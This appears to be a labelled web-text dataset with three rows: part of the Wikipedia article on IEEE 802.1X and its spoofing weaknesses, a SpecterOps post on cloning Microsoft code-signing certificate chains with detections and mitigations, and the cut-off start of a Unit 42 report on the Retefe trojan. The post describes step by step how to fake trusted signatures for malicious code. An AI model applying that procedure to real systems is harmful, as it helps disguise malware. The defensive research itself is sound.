(""Negative Acknowledgement"") and respond with the EAP Methods it is willing to perform. Authentication If the authentication server and supplicant agree on an EAP Method, EAP Requests and Responses are sent between the supplicant and the authentication server (translated by the authenticator) until the authentication server responds with either an EAP-Success message (encapsulated in a RADIUS Access-Accept packet), or an EAP-Failure message (encapsulated in a RADIUS Access-Reject packet). If authentication is successful, the authenticator sets the port to the ""authorized"" state and normal traffic is allowed, if it is unsuccessful the port remains in the ""unauthorized"" state. When the supplicant logs off, it sends an EAPOL-logoff message to the authenticator, the authenticator then sets the port to the ""unauthorized"" state, once again blocking all non-EAP traffic. Implementations[edit] Supplicants[edit] Main article: Supplicant (computer) Windows XP, Windows Vista and Windows 7 support 802.1X for all network connections by default. Windows 2000 has support in the latest service pack (SP4) for wired connections. Windows Mobile 2003 and later operating systems also come with a native 802.1X client. An open source project known as Open1X produces a client, Xsupplicant. This client is currently available for both Linux and Windows. The main drawbacks of the Open1X client are that it does not provide comprehensible and extensive user documentation and the fact that most Linux vendors do not provide a package for it. The more general wpa_supplicant can be used for 802.11 wireless networks and wired networks. Both support a very wide range of EAP types.[8] The iPhone and iPod Touch support 802.1X as of the release of iOS 2.0. Android has support for 802.1X since the release of 1.6 Donut. Chrome OS has supported 802.1X since mid-2011.[9] Mac OS X has offered native support since 10.3.[10] Avenda Systems provides a supplicant for Windows, Linux and Mac OS X. They also have a plugin for the Microsoft NAP framework.[11] Avenda also offers health checking agents. Windows[edit] Windows defaults to not responding to 802.1X authentication requests for 20 minutes after a failed authentication. This can cause significant disruption to clients. The block period can be configured using the HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\dot3svc\\BlockTime[12] DWORD value (HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\wlansvc\\BlockTime for wireless networks) in the registry (entered in minutes). A hotfix is required for Windows XP SP3 and Windows Vista SP2 to make the period configurable.[13] Wildcard server certificates are not supported by EAPHost, the Windows component that provides EAP support in the operating system.[14] The implication of this is that when using a commercial certification authority, individual certificates must be purchased. Windows XP[edit] Windows XP has major issues with its handling of IP address changes that result from user-based 802.1X authentication that changes the VLAN and thus subnet of clients.[15] Microsoft has stated that it will not back port the SSO feature from Vista that resolves these issues.[16] If users are not logging in with roaming profiles, a hotfix must be downloaded and installed if authenticating via PEAP with PEAP-MSCHAPv2.[17] Windows Vista[edit] Windows Vista based computers that are connected via an IP phone may not authenticate as expected and, as a result, the client can be placed into the wrong VLAN. A hotfix is available to correct this.[18] Windows 7[edit] Windows 7 based computers that are connected via an IP phone may not authenticate as expected and, as a result, the client can be placed into the wrong VLAN. A hotfix is available to correct this.[18] Windows 7 does not respond to 802.1X authentication requests after initial 802.1X authentication fails. This can cause significant disruption to clients. A hotfix is available to correct this.[19] Windows PE[edit] For most enterprises deploying and rolling out operating systems remotely, it is worth noting that Windows PE does not have native support for 802.1X. However, support can be added to WinPE 2.1[20] and WinPE 3.0[21] through hotfixes that are available from Microsoft. Although full documentation is not yet available, preliminary documentation for the use of these hotfixes is available via a Microsoft blog.[22] OS X Mojave[23][edit] GNU/Linux[edit] Most Linux distributions support 802.1x via wpa_supplicant and desktop integration like NetworkManager. Federations[edit] eduroam (the international roaming service), mandates the use of 802.1X authentication when providing network access to guests visiting from other eduroam enabled institutions.[24] BT (British Telecom, PLC) employs Identity Federation for authentication in services delivered to a wide variety of industries and governments.[25] Proprietary extensions[edit] MAB (MAC Authentication Bypass)[edit] Not all devices support 802.1X authentication. Examples include network printers, Ethernet-based electronics like environmental sensors, cameras, and wireless phones. For those devices to be used in a protected network environment, alternative mechanisms must be provided to authenticate them. One option would be to disable 802.1X on that port, but that leaves that port unprotected and open for abuse. Another, slightly more reliable option is to use the MAB option. When MAB is configured on a port, that port will first try to check if the connected device is 802.1X compliant, and if no reaction is received from the connected device, it will try to authenticate with the AAA server using the connected device's MAC address as username and password. The network administrator then must make provisions on the RADIUS server to authenticate those MAC-addresses, either by adding them as regular users, or implementing additional logic to resolve them in a network inventory database. Many managed Ethernet switches[26][27] offer options for this. Vulnerabilities in 802.1X-2001 and 802.1X-2004[edit] Shared media[edit] In the summer of 2005, Microsoft's Steve Riley posted an article detailing a serious vulnerability in the 802.1X protocol, involving a man in the middle attack. In summary, the flaw stems from the fact that 802.1X authenticates only at the beginning of the connection, but after that authentication, it's possible for an attacker to use the authenticated port if he has the ability to physically insert himself (perhaps using a workgroup hub) between the authenticated computer and the port. Riley suggests that for wired networks the use of IPsec or a combination of IPsec and 802.1X would be more secure.[28] EAPOL-Logoff frames transmitted by the 802.1X supplicant are sent in the clear and contain no data derived from the credential exchange that initially authenticated the client.[29] They are therefore trivially easy to spoof on shared media, and can be used as part of a targeted DoS on both wired and wireless LANs. In an EAPOL-Logoff attack a malicious third party, with access to the medium the authenticator is attached to, repeatedly sends forged EAPOL-Logoff frames from the target device's MAC Address. The authenticator (believing that the targeted device wishes to end its authentication session) closes the target's authentication session, blocking traffic ingressing from the target, denying it access to the network. The 802.1X-2010 specification, which began as 802.1af, addresses vulnerabilities in previous 802.1X specifications, by using MACSec IEEE 802.1AE to encrypt data between logical ports (running on top of a physical port) and IEEE 802.1AR (Secure Device Identity / DevID) authenticated devices.[5][6][30][31] As a stopgap until these enhancements are widely implemented, some vendors have extended the 802.1X-2001 and 802.1X-2004 protocol, allowing multiple concurrent authentication sessions to occur on a single port. While this prevents traffic from devices with unauthenticated MAC addresses ingressing on an 802.1X authenticated port, it will not stop a malicious device snooping on traffic from an authenticated device and provides no protection against MAC spoofing, or EAPOL-Logoff attacks. Alternatives[edit] The IETF-backed alternative is the Protocol for Carrying Authentication for Network Access (PANA), which also carries EAP, although it works at layer 3, using UDP, thus not being tied to the 802 infrastructure.[32] See also[edit] AEGIS SecureConnect IEEE 802.11i-2004 References[edit] ^ RFC\xc2 3748, \xc2\xa7 3.3 ^ RFC\xc2 3748, \xc2\xa7 7.12 ^ IEEE 802.1X-2001, \xc2\xa7 7 ^ IEEE 802.1X-2004, \xc2\xa7 3.2.2 ^ a b IEEE 802.1X-2010, page iv ^ a b IEEE 802.1X-2010, \xc2\xa7 5 ^ ""802.1X Port-Based Authentication Concepts"". Retrieved 2008-07-30. ^ ""eap_testing.txt from wpa_supplicant"". Retrieved 2010-02-10. ^ ""The computer that keeps getting better"". Retrieved 2013-11-27. ^ ""Apple \xe2\x80\x94 iPhone \xe2\x80\x94 Enterprise"". Retrieved 2008-07-31. ^ ""NAP clients for Linux and Macintosh are available"". 2008-12-16. ^ ""20 minute delay deploying Windows 7 on 802.1x"". ^ ""A Windows XP-based, Windows Vista-based or Windows Server 2008-based computer does not respond to 802.1X authentication requests for 20 minutes after a failed authentication"". Support.microsoft.com. 2009-09-17. Retrieved 2010-03-23. ^ ""EAPHost in Windows Vista and Longhorn (January 18, 2006)"". Technet.microsoft.com. 2007-01-18. Retrieved 2010-03-24. ^ ""Problems when obtaining Group Policy objects, roaming profiles and logon scripts from a Windows Server 2003-based domain controller"". Support.microsoft.com. 2007-09-14. Retrieved 2010-02-10. ^ ""802.1X with dynamic VLAN switching \xe2\x80\x94 Problems with Roaming Profiles"". Forums.technet.microsoft.com. Retrieved 2010-02-10. ^ ""A Windows XP Service Pack 3-based client computer cannot use the IEEE 802.1X authentication when you use PEAP with PEAP-MSCHAPv2 in a domain"". Support.microsoft.com. 2009-04-23. Retrieved 2010-03-23. ^ a b ""A computer that is connected to an IEEE 802.1X authenticated network through a VOIP phone does not connect to the correct network after you resume it from Hibernate mode or Sleep mode"". Support.microsoft.com. 2010-02-08. Retrieved 2010-03-23. ^ ""Windows 7 or Windows Server 2008 R2 does not respond to 802.1X authentication requests after the authentication fails"". Support.microsoft.com. 2010-03-08. Retrieved 2010-03-23. ^ ""Windows PE 2.1 does not support the IEEE 802.1X authentication protocol"". Support.microsoft.com. 2009-12-08. Retrieved 2010-02-10. ^ ""The IEEE 802.1X authentication protocol is not supported in Windows Preinstall Environment (PE) 3.0"". Support.microsoft.com. 2009-12-08. Retrieved 2010-02-10. ^ ""Adding Support for 802.1X to WinPE"". Blogs.technet.com. 2010-03-02. Retrieved 2010-03-03. ^ ""OS X Yosemite: Connect to a network that requires 802.1X authentication"". support.apple.com. Retrieved 2017-03-10. ^ ""Eduroam \xe2\x80\x94 About"". Retrieved 2009-11-29. ^ ""BT Identity and Access Management"" (PDF). Retrieved 2010-08-17. ^ MAC Authentication Bypass Deployment Guide, May 2011. Retrieved: 26 January, 2012 ^ Dell PowerConnect 6200 series CLI Guide Archived 2012-11-18 at the Wayback Machine, page: 622, Revision: A06-March 2011. Retrieved: 26 Januari, 2013 ^ ""Steve Riley's article on the 802.1X vulnerabilities"". Microsoft.com. 2005-08-09. Retrieved 2018-01-16. ^ IEEE 802.1X-2001, \xc2\xa7 7.1 ^ ""2 February 2010 Early Consideration Approvals"". Standards.ieee.org. Retrieved 2010-02-10. ^ ""IEEE 802.1: 802.1X-2010 - Revision of 802.1X-2004"". Ieee802.org. 2010-01-21. Retrieved 2010-02-10. ^ Philip Golden; Herv\xc3\xa9 Dedieu; Krista S. Jacobsen (2007). Implementation and Applications of DSL Technology. Taylor & Francis. pp.\xc2 483\xe2\x80\x93484. ISBN\xc2 978-1-4200-1307-8. External links[edit] IEEE page on 802.1X GetIEEE802 Download 802.1X-2010 GetIEEE802 Download 802.1X-2004 GetIEEE802 Download 802.1X-2001 Ultimate wireless security guide: Self-signed certificates for your RADIUS server WIRE1x Wired Networking with 802.1X Authentication on Microsoft TechNet v t e IEEE standards Current 488 730 754 Revision 854 828 829 896 1003 1014 1016 1076 1149.1 1154 1164 1275 1278 1284 1355 1394 1451 1497 1516 1541 1547 1584 1588 1596 1603 1613 1666 1667 1675 1685 1722 1733 1800 1801 1815 1850 1900 1901 1902 1904 1905 2030 2050 11073 12207 14764 16085 16326 29148 42010 802 series 802.1 D p Q Qat Qay w X ab ad AE ag ah ak aq AS ax az BA 802.3 -1983 a b d e i j u x y z ab ac ad ae af ah ak an aq at av az ba bt by 802.11 legacy mode a b c d e f g h i j k n p r s u v w y ac ad af ah ai ax ay .2 .4 .5 .6 .7 .8 .9 .10 .12 .14 .15 .1 .4 .4a .6 .16 Original \xc2\xb7 d \xc2\xb7 e .17 .18 .20 .21 .22 Proposed P1363 P1619 P1699 P1823 P1906.1 Superseded 754-1985 830 1219 1233 1362 1364 1471 See also IEEE Standards Association Category:IEEE standards Retrieved from ""https://en.wikipedia.org/w/index.php?title=IEEE_802.1X&oldid=916133040"" Categories: IEEE 802 Networking standards Computer access control protocols Computer network security Hidden categories: Webarchive template wayback links Navigation menu Personal tools Not logged in Talk Contributions Create account Log in Namespaces Article Talk Variants Views Read Edit View history More Search Navigation Main page Contents Featured content Current events Random article Donate to Wikipedia Wikipedia store Interaction Help About Wikipedia Community portal Recent changes Contact page Tools What links here Related changes Upload file Special pages Permanent link Page information Wikidata item Cite this page Print/export Create a book Download as PDF Printable version Languages \xd0\x91\xd1\x8a\xd0\xbb\xd0\xb3\xd0\xb0\xd1\x80\xd1\x81\xd0\xba\xd0\xb8 Catal\xc3 \xc4\x8ce\xc5\xa1tina Deutsch Espa\xc3\xb1ol Fran\xc3\xa7ais \xed\x95\x9c\xea\xb5\xad\xec\x96\xb4 Italiano \xd7\xa2\xd7\x91\xd7\xa8\xd7\x99\xd7\xaa \xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e Norsk Polski Portugu\xc3\xaas \xd0 \xd1\x83\xd1\x81\xd1\x81\xd0\xba\xd0\xb8\xd0\xb9 Simple English Suomi Svenska T\xc3\xbcrk\xc3\xa7e \xd0\xa3\xd0\xba\xd1\x80\xd0\xb0\xd1\x97\xd0\xbd\xd1\x81\xd1\x8c\xd0\xba\xd0\xb0 \xe4\xb8\xad\xe6\x96\x87 Edit links This page was last edited on 17 September 2019, at 06:15\xc2 (UTC). Text is available under the Creative Commons Attribution-ShareAlike License; additional terms may apply. By using this site, you agree to the Terms of Use and Privacy Policy. Wikipedia\xc2\xae is a registered trademark of the Wikimedia Foundation, Inc., a non-profit organization. Privacy policy About Wikipedia Disclaimers Contact Wikipedia Developers Cookie statement Mobile view","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Sign in Get started Posts By SpecterOps Team Members ABOUT ALL POSTS SPECTEROPS.IO Code Signing Certificate Cloning Attacks and Defenses Matt Graeber Matt Graeber Follow Dec 22, 2017 \xc2\xb7 11 min read Before reading this post, ponder the following question: \xe2\x80\x9cWhat does it actually mean to you for something to be signed by Microsoft (or any vendor for that matter)?\xe2\x80\x9d Introduction: SOC Analyst Autoruns Baselining Scenario Imagine you\xe2\x80\x99re working in a SOC and you\xe2\x80\x99re tasked with baselining persistence entries across 40,000 hosts. You\xe2\x80\x99re tasked specifically with inspecting run key persistence. You have Sysinternals deployed across the enterprise, you run Autoruns across every system, and forward the results to a Splunk dashboard that allows you to easily interpret the results. The smart SOC analyst you are knows that signed Microsoft applications can be abused, so you make sure that \xe2\x80\x9cMicrosoft\xe2\x80\x9d and \xe2\x80\x9cWindows\xe2\x80\x9d entries are not hidden when running autorunsc.exe. You cluster all of the common results together and start focusing on outliers in the data set. You find the following outlier on 6 systems out of 40,000: HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run SecurityAudit C:\\Windows Defender\\MpCmdRun.exe Microsoft Malware Protection Command Line Utility (Verified) Microsoft Corporation 4.12.16299.15 c:\\windows defender\\mpcmdrun.exe 11/25/1912 5:39 AM You apply the following process to determine whether the entry is benign or suspicious: You note that the binary is a verified \xe2\x80\x9cMicrosoft Corporation\xe2\x80\x9d binary. Knowing that it is signed by Microsoft allows you to scrutinize it less since this particular signed binary is not known to have been abused by attackers. You Google MpCmdRun.exe and confirm that it is indeed associated with Windows Defender. You enabled VirusTotal integration with Autoruns (assuming your organization has accepted that risk) and it comes back with 0 positive AV hits. You\xe2\x80\x99re still unsure as to why it\xe2\x80\x99s an outlier but your enterprise is a large, heterogenous environment where there the concept of a baselined gold image does not exist. You accept that it\xe2\x80\x99s an outlier but you are confident that MpCmdRun.exe isn\xe2\x80\x99t being abused in the wild and you subsequently filter future hits of this hash. After all, you have many more outliers to wade through. Does this scenario sound familiar to anyone? Unfortunately, as much as I hate to say it, that Autoruns entry was positive evidence of compromise and you overlooked it and decided to overlook it in the future as well. Certificate Chain Cloning and Cloned Root Trust Attacks What our SOC analyst failed to pick up on was the fact that MpCmdRun.exe was signed using a cloned Microsoft certificate chain where the attacker also trusted their cloned root certificate on the compromised victim systems. How might an attacker go about performing such an attack? The steps can be summarized as follows: Export all certificates in a legitimate certificate chain to disk. These certificates are what you\xe2\x80\x99ll be using as a template for your own cloned certificate chain. Build a cloned certificate chain using the chain that was exported to disk. The New-SelfSignedCertificate cmdlet in PowerShell has very convenient \xe2\x80\x9c-CloneCert\xe2\x80\x9d and \xe2\x80\x9c-Signer\xe2\x80\x9d parameters to enable this. Upon cloning the chain, you will be able to sign malicious code with the cloned certificate chain. You\xe2\x80\x99ll also want to export the cloned root certificate as you will need to trust this certificate on the victim system in order for any of your signed, malicious code to verify properly and blend in with many security tools. The following video shows the manual process of exporting the certificate chain used to sign kernel32.dll: Manually exporting a legitimate Microsoft certificate chain to disk to use as a template for cloning. Now that the Microsoft certificate chain has been exported to disk, you can now use it as a template for building a spoofed Microsoft certificate chain. The following code was used to achieve this: The following video demonstrates running the code above: So why does this attack work? Well, at a high level, digital signature validation relies upon the following: Integrity validation \xe2\x80\x94 Does the hash of the file match the signed hash in the signature? If not, the integrity of the file has been compromised and it should not be trusted. Certificate chain validation \xe2\x80\x94 Was each certificate in the chain properly issued by its parent? Certificate validity check \xe2\x80\x94 If each certificate in the chain is not timestamped, is each certificate within its stated validity time frame? If the digital signature is timestamped, validate the timestamping certificate counter-signature chain. Revocation check \xe2\x80\x94 Are any of the certificates in the chain revoked or explicitly untrusted by an administrator? Root CA validation \xe2\x80\x94 Is the root certificate in the signer chain a trusted certificate? Technically, our cloned certificate chain passes all of these checks so any tool that performs signature validation (sigcheck, autoruns, procexp, AV?, etc.) will likely be fooled. You may have noticed in the video, upon installation of the root certificate in the \xe2\x80\x9cCurrentUser\xe2\x80\x9d certificate store, a dialog popped up asking if you trust the certificate. If running in an elevated context, that popup will not occur. Why non-admin users are able to trust root CA certificates is beyond my comprehension. That should not be permitted in any organization. Attack Weaponization The video above showed a demo of how to create and trust a cloned root certificate locally. Ideally, in a real-world attack scenario, you wouldn\xe2\x80\x99t clone a certificate chain and sign your malicious file on a compromised system. Rather, you would build the cloned chain and sign your malicious code on an attacker system. Now, the problem remains however of how you would realistically trust the cloned CA certificate on the victim system. You could probably get away with dropping it to disk and installing it but if you wanted to be a bit stealthier, as an admin, you could install and trust the certificate directly in the registry. The following is an example of how you could use WMI to remotely install and trust a cloned root CA certificate: In this example, $EncodedCertBlob is just the contents of the exported cloned root CA .cer file base64-encoded. $CertThumbprint is the thumbprint value (i.e. SHA1 hash of the certificate). So, upon installation of that certificate, any code signed with a certificate from that CA will properly validate. In this particular case, the code will additionally give the appearance of being Microsoft-signed code. Detecting Malicious Root CA Certificate Installation Considering the root of this attack involves installation of a root CA certificate, this action will be the focus of building a detection. The installation of root CAs should be sufficiently uncommon such that a high-fidelity alert should be possible by monitoring the registry. Sysmon serves this purpose really well and what follows is an ideal config for catching root certificate installation: When an event fires, it would look like the following: Registry value set: EventType: SetValue UtcTime: 2017-12-20 17:12:11.999 ProcessGuid: {7ed59fb9-99eb-5a3a-0000-00102ab1af06} ProcessId: 4404 Image: C:\\WINDOWS\\system32\\wbem\\wmiprvse.exe TargetObject: HKLM\\SOFTWARE\\Microsoft\\SystemCertificates\\ROOT\\Certificates\\1F3D38F280635F275BE92B87CF83E40E40458400\\Blob Details: Binary Data Using this rule set, you will likely get a lot of CreateKey event false positives. The high-fidelity events to pay attention to are SetValue events where the TargetObject property ends with \xe2\x80\x9c\\Blob\xe2\x80\x9d as this indicates the direct installation or modification of a root certificate binary blob. Unfortunately, as of this writing, Sysmon configurations don\xe2\x80\x99t allow sufficient granularity to constrain a set of registry events to a specific EventType nor are wildcards permitted in rule entries. So the next question to ask yourself would be, \xe2\x80\x9chow do I know if this root certificate installation is \xe2\x80\x98malicious\xe2\x80\x99?\xe2\x80\x9d A logical first step would be to investigate the contents of the certificate to see if anything stands out. PowerShell makes inspecting certificates really easy. Get-ChildItem -Path Cert:\\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | For mat-List * The result of running this command might produce the following output: PSPath : Microsoft.PowerShell.Security\\Certificate::LocalMachine\\Root\\1F3D38F280635F275BE92B87CF83E40E40458400 PSParentPath : Microsoft.PowerShell.Security\\Certificate::LocalMachine\\Root PSChildName : 1F3D38F280635F275BE92B87CF83E40E40458400 PSDrive : Cert PSProvider : Microsoft.PowerShell.Security\\Certificate PSIsContainer : False EnhancedKeyUsageList : {} DnsNameList : {Microsoft Root Certificate Authority 2010} SendAsTrustedIssuer : False EnrollmentPolicyEndPoint : Microsoft.CertificateServices.Commands.EnrollmentEndPointProperty EnrollmentServerEndPoint : Microsoft.CertificateServices.Commands.EnrollmentEndPointProperty PolicyId : Archived : False Extensions : {System.Security.Cryptography.Oid, System.Security.Cryptography.Oid, System.Security.Cryptography.Oid} FriendlyName : IssuerName : System.Security.Cryptography.X509Certificates.X500DistinguishedName NotAfter : 11/30/2042 9:06:37 PM NotBefore : 12/1/2017 1:55:14 PM HasPrivateKey : False PrivateKey : PublicKey : System.Security.Cryptography.X509Certificates.PublicKey RawData : {48, 130, 5, 219...} SerialNumber : 52761736EEA4458142453E2D73FA89B2 SubjectName : System.Security.Cryptography.X509Certificates.X500DistinguishedName SignatureAlgorithm : System.Security.Cryptography.Oid Thumbprint : 1F3D38F280635F275BE92B87CF83E40E40458400 Version : 3 Handle : 1849876297952 Issuer : CN=Microsoft Root Certificate Authority 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Subject : CN=Microsoft Root Certificate Authority 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US To any observer, this certificate definitely has the \xe2\x80\x9clook and feel\xe2\x80\x9d of a legitimate certificate but what is it exactly that makes a certificate \xe2\x80\x9clegitimate\xe2\x80\x9d or trusted? That process will be described in the last section of the post. Preventing Malicious \xe2\x80\x9cCurrentUser\xe2\x80\x9d Root CA Certificate Installation In the video demonstrating the root CA installation, it was performed in the current user context. While there may not be strong preventative mitigations for certificate installation as an admin, it is possible to prevent root certificate installation in the current user context by setting the following registry value: HKLM\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\Root\\ProtectedRoots - Flags (REG_DWORD) - 1 While this registry key is not well documented online, wincrypt.h in the Windows SDK provides some contextual clues regarding the options available to set in the \xe2\x80\x9cFlags\xe2\x80\x9d value. The following relevant flag values are documented in the header file: // Set the following flag to inhibit the opening of the CurrentUser's // .Default physical store when opening the CurrentUser's ""Root"" system store. // The .Default physical store open's the CurrentUser SystemRegistry ""Root"" // store. #define CERT_PROT_ROOT_DISABLE_CURRENT_USER_FLAG 0x1 // Set the following flag to inhibit the adding of roots from the // CurrentUser SystemRegistry ""Root"" store to the protected root list // when the ""Root"" store is initially protected. #define CERT_PROT_ROOT_INHIBIT_ADD_AT_INIT_FLAG 0x2 After setting this key, you will get an access denied error when attempting to install a root CA to the CurrentUser Root certificate store. So while not the most robust of preventative techniques, preventing non-admin users from trusting their own root CAs is certainly a strong policy to enforce in your organization. As with any enforced preventative measure, an admin will need to consider \xe2\x80\x9cwhat might this break in my environment?\xe2\x80\x9d As with any preventative measure, it is important to roll them out in phases across an environment. If for whatever reason there is a business justification for permitting any user to trust a root certificate, you accept that an attacker or rogue software can trust arbitrary root certificates as well. Windows administrators will always have the ability to push trusted root certificates via Group Policy. A recent case where software installed its own root certificate without alerting the user was a Savitech audio driver. In this case, you would have needed to be admin to trust this root certificate but arbitrary root certificates have no basis for the establishment of trust compared to the arduous steps required to get your root certificate trusted by Microsoft. Proper Validation of Root CA Trust Until recently, I had actually never considered the way in which the trust of certificates could be validated until version 2.60 of sigcheck was released and the introduced the -v switch for use with -t or -tu: -t[u][v] Dump contents of specified certificate store ('*' for all stores). Specify -tu to query the user store (machine store is the default). Append '-v' to have Sigcheck download the trusted Microsoft root certificate list and only output valid certificates not rooted to a certificate on that list. If the site is not accessible, authrootstl.cab or authroot.stl in the current directory are used instead, if present. Here is some example output: sigcheck64.exe -tuv -nobanner User\\Root: Microsoft Root Certificate Authority 2010 Cert Status: Valid Valid Usage: All Cert Issuer: Microsoft Root Certificate Authority 2010 Serial Number: 52 76 17 36 EE A4 45 81 42 45 3E 2D 73 FA 89 B2 Thumbprint: 1F3D38F280635F275BE92B87CF83E40E40458400 Algorithm: sha256RSA Valid from: 1:55 PM 12/1/2017 Valid to: 9:06 PM 11/30/2042 So why should this entry not be trusted? What is Microsoft\xe2\x80\x99s basis for trust? The answer to that is authroot.stl \xe2\x80\x94 a signed, ASN.1 encoded file consisting of the root certificates that Microsoft has deemed to be trustworthy. This is equivalent to the set of root CAs that come installed by default in the operating system. Occasionally, Microsoft may update this list though (whether through addition or revocation) and distribute updates via this link. Wanting to understand the STL file format better and not necessarily wanting to rely upon sigcheck for performing root CA trust validation, I wrote a crude parser that extracts all of the trusted certificate thumbprint values so that I could perform similar validation in a PowerShell script. In the screenshot below, you will see the \xe2\x80\x9cmalicious\xe2\x80\x9d cloned root CA certificate highlighted: It is also possible to parse authroot.stl with certutil.exe: certutil -dump authroot.stl Through parsing authroot.stl, you can also easily determine which Microsoft-specific roots are trustworthy for code signing: PS> ls Cert:\\LocalMachine\\Root\\ | Where-Object { ($TrustedRootHashes -contains $_.Thumbprint) -and ($_.Subject.StartsWith('CN=Microsoft Root')) } Thumbprint : CDD4EEAE6000AC7F40C3802C171E30148030C072 Subject : CN=Microsoft Root Certificate Authority, DC=microsoft, DC=com Thumbprint : A43489159A520F0D93D032CCAF37E7FE20A8B419 Subject : CN=Microsoft Root Authority, OU=Microsoft Corporation, OU=Copyright (c) 1997 Microsoft Corp. Thumbprint : 8F43288AD272F3103B6FB1428485EA3014C0BCFE Subject : CN=Microsoft Root Certificate Authority 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Thumbprint : 3B1EFD3A66EA28B16697394703A72CA340A05BD5 Subject : CN=Microsoft Root Certificate Authority 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US So the way in which Microsoft-signed code should ideally be validated (versus simply pulling the publisher name and validating that it chains to a \xe2\x80\x9ctrusted\xe2\x80\x9d root) is to perform the following: Validate that the integrity of the binary has not been compromised. Validate that each certificate in the chain is valid. Validate that the root certificate has one of the trusted thumbprints present in authroot.stl (listed above). An alternative to validating against authroot.stl is to call the CertVerifyCertificateChainPolicy function passing it the CERT_CHAIN_POLICY_MICROSOFT_ROOT value. Deep inside this function is basically the same array of certificate thumbprints that the root certificate will be validated against. One notable omission from authroot.stl is the Microsoft flight root certificate (thumbprint: F8DB7E1C16F1FFD4AAAD4AAD8DFF0F2445184AEB) \xe2\x80\x94 the issuer of certificates for Windows Insider Preview builds. Worth noting is the absence of a timestamp countersignature meaning that the signature will fail to validate beyond the certificate validity period. This was likely an intentional decision on the part of Microsoft. The lack of a MSFT timestamp would potentially make the Microsoft flight certificate chain a more viable candidate for cloning assuming a defender isn\xe2\x80\x99t aware of what would be considered a \xe2\x80\x9ctrusted\xe2\x80\x9d root certificate thumbprint. Here\xe2\x80\x99s an example of kernel32.dll signed by a certificate issued by the Microsoft flight root: Conclusion Hopefully, by now you have a better appreciation of how attackers can appear to originate from the code signer of their choosing. This isn\xe2\x80\x99t the only signing attack that would permit this, however. I\xe2\x80\x99ve also published related research on how to hijack Subject Interface Packages that effectively allows you to apply legitimate digital signatures to malicious code that passes integrity validation checks. The purpose of all of this research is twofold: to help encourage defenders and security vendors to challenge assumptions made in their investigative processes but to also educate on the importance of proper code signing validation for the purposes of determining whether any given signed code actually originates from who it claims to originate from. Lastly, an astute reader will have noted that there may have been additional anomalies associated with the cloned certificate chain and signed code. I\xe2\x80\x99ll leave discussion of these anomalies for another blog post. See you in 2018! Thanks to Andy Robbins. Security Code Signing 217 claps Matt Graeber WRITTEN BY Matt Graeber Follow Security Researcher, SpecterOps Posts By SpecterOps Team Members Posts By SpecterOps Team Members Follow Posts from SpecterOps team members on various topics relating information security See responses (2) Discover Medium Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch Make Medium yours Follow all the topics you care about, and we\xe2\x80\x99ll deliver the best stories for you to your homepage and inbox. Explore Become a member Get unlimited access to the best stories on Medium \xe2\x80\x94 and support writers while you\xe2\x80\x99re at it. Just $5/month. Upgrade About Help Legal To make Medium work, we log user data. By using Medium, you agree to our Privacy Policy, including cookie policy.","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Retefe Banking Trojan Targets Sweden, Switzerland and Japan Menu Tools Playbooks Speaking Events About Us Retefe Banking Trojan Targets Sweden, Switzerland and Japan 7,368 people reacted 0 3 min. read Share By Brandon Levene, Robert Falcone, Josh Grunzweig, Bryan Lee and Ryan Olson August 20, 2015 at 2:03 PM Category: Financial Services, Malware, Threat Prevention, Unit 42 Tags: AutoFocus, banking, Powershell, Retefe, Smoke Loader, Trojan, WildFire Retefe is one of the most targeted banking Trojans currently in the wild. While other families such as Zeus and Citadel are widely adopted by attackers targeting banking websites around the world, Retefe is consistently used to target victims in Sweden, Switzerland and Japan. In the last two weeks we have detected a surge of e-mails using AutoFocus, each carrying the Retefe Trojan and targeting organizations in Western Europe and Japan. Figure 1: AutoFocus map of recent Retefe Trojan recipients The attack e-mails are using a variety of \xe2\x80\x9corder\xe2\x80\x9d and \xe2\x80\x9creceipt\xe2\x80\x9d themes, each tailored to the country they are targeting and using dated file names to make them appear more relevant. The e-mails most often claim to be from a local electronics retailer. Figure 2: Retefe sample delivered to Swedish target. On a global scale, Retefe is a rather small threat, but that appears to be by design. The malware hijacks connections to Swiss, Swedish and Japanese financial institutions to assist the attacker in committing fraud. The malware carried in the most recent campaigns also downloads and 